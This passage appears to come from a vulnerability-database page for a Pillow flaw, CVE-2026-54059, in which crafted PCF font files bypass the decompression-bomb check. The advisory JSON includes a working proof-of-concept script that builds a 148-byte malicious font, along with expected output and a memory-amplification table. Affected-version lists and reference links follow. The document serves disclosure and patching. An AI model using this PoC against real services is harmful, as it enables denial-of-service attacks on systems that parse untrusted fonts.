[(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode \u00271\u0027 = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed \u2014 heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode \u00271\u0027) | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 \u00d7 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 \u00d7 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 \u00d7 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH \u2014 up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
  "id": "GHSA-8v84-f9pq-wr9x",
  "modified": "2026-07-20T21:08:27Z",
  "published": "2026-07-20T21:08:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
}

PYSEC-2026-2253

Vulnerability from pysec - Published: 2026-07-06 19:17 - Updated: 2026-07-13 05:50

Details

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
pillow	pkg:pypi/pillow

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow",
        "purl": "pkg:pypi/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0",
        "1.1",
        "1.2",
        "1.3",
        "1.4",
        "1.5",
        "1.6",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "1.7.8",
        "10.0.0",
        "10.0.1",
        "10.1.0",
        "10.2.0",
        "10.3.0",
        "10.4.0",
        "11.0.0",
        "11.1.0",
        "11.2.1",
        "11.3.0",
        "12.0.0",
        "12.1.0",
        "12.1.1",
        "12.2.0",
        "2.0.0",
        "2.1.0",
        "2.2.0",
        "2.2.1",
        "2.2.2",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.7.0",
        "2.8.0",
        "2.8.1",
        "2.8.2",
        "2.9.0",
        "3.0.0",
        "3.1.0",
        "3.1.0.rc1",
        "3.1.0rc1",
        "3.1.1",
        "3.1.2",
        "3.2.0",
        "3.3.0",
        "3.3.1",
        "3.3.2",
        "3.3.3",
        "3.4.0",
        "3.4.1",
        "3.4.2",
        "4.0.0",
        "4.1.0",
        "4.1.1",
        "4.2.0",
        "4.2.1",
        "4.3.0",
        "5.0.0",
        "5.1.0",
        "5.2.0",
        "5.3.0",
        "5.4.0",
        "5.4.0.dev0",
        "5.4.1",
        "6.0.0",
        "6.1.0",
        "6.2.0",
        "6.2.1",
        "6.2.2",
        "7.0.0",
        "7.1.0",
        "7.1.1",
        "7.1.2",
        "7.2.0",
        "8.0.0",
        "8.0.1",
        "8.1.0",
        "8.1.1",
        "8.1.2",
        "8.2.0",
        "8.3.0",
        "8.3.1",
        "8.3.2",
        "8.4.0",
        "9.0.0",
        "9.0.1",
        "9.1.0",
        "9.1.1",
        "9.2.0",
        "9.3.0",
        "9.4.0",
        "9.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54059",
    "GHSA-8v84-f9pq-wr9x"
  ],
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.",
  "id": "PYSEC-2026-2253",
  "modified": "2026-07-13T05:50:45.831861Z",
  "published": "2026-07-06T19:17:08.127Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

BREW-AIDER-CVE-2026-54059 (GHSA-8V84-F9PQ-WR9X)

Description

Steps to reproduce

Impact

bit-pillow-2026-54059

Vulnerability from bitnami_vulndb

CVE-2026-54059 (GCVE-0-2026-54059)

GHSA-8V84-F9PQ-WR9X

Description

Steps to reproduce

Impact

PYSEC-2026-2253

Tags

Sightings

Nomenclature

Related by attack behaviour